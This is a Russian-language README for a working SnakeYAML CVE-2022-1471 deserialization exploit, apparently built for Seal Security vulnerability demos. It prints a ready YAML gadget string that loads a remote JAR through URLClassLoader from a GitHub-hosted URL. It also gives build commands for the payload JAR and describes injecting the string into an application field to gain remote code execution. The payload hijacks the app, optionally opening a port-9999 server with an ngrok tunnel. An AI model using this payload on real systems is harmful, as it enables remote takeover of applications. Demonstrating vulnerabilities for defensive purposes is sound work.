
Эксплойт-пейлоад SnakeYAML CVE-2022-1471 для демонстраций Seal Security
Эксплойт-пейлоад для десериализации SnakeYAML для CVE-2022-1471, адаптировано из artsploit/yaml-payload (изначально основано на mbechler/marshalsec).
При загрузке через небезопасный Yaml.load() SnakeYAML этот пейлоад перехватывает управление запущенным приложением и заменяет его страницей "You've Been PWNED":
Если внедрение Tomcat Valve недоступно (например, не Spring-приложение), переключается на запуск отдельного HTTP-сервера на порту 9999 и автоматически создаёт туннель ngrok, если ngrok запущен.
Это работает как локально на macOS, так и в пайплайнах CI/CD (например, GitHub Actions на Ubuntu).
Пейлоад SnakeYAML запускает ScriptEngineManager через Java SPI (Service Provider Interface):
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
java.net.URL, указывающий на yaml-payload.jar из этого репозиторияURLClassLoader для загрузки удалённых классовScriptEngineManager обнаруживает и загружает AwesomeScriptEngineFactory через META-INF/services/javax.script.ScriptEngineFactory/ страницей PWNEDТребуется JDK 17+:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
Используется в качестве пейлоада в проекте maven-demo. Вставьте строку пейлоада в поле имени приложения, чтобы запустить RCE. Страница приложения будет заменена страницей PWNED при следующем запросе. Подробные инструкции по демонстрации см. в README того репозитория.